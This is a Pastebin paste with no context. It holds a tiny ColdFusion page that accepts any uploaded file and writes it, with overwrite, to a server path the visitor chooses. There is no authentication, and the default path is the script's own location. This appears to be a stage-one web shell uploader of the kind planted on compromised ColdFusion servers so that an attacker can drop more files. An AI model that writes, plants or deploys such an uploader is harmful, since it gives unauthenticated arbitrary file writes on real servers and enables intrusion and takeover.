Advertisement
Guest User

Untitled

a guest
Sep 18th, 2019
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.64 KB | None | 0 0
  1. <html><head><title>u</title></head><body>
  2. <cfif isdefined("up") and up is "1">
  3. <cffile action = "upload"
  4. fileField = "form.file"
  5. destination = "#form.location#"
  6. nameConflict = "Overwrite">
  7. <cfoutput>You uploaded #cffile.ClientFile#[#cffile.fileSize#]successfully to #cffile.ServerDirectory#\.</cfoutput></cfif>
  8. <form action="<cfoutput>#cgi.SCRIPT_NAME#?up=1</cfoutput>" method="post" enctype="multipart/form-data" name="" id="">
  9. <input type="file" name="file" value="" size=30>
  10. <input type="text" name="location" value="<cfoutput>#CGI.PATH_TRANSLATED#</cfoutput>" size=30>
  11. <input type="submit" name="Submit" value="upload"></form></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement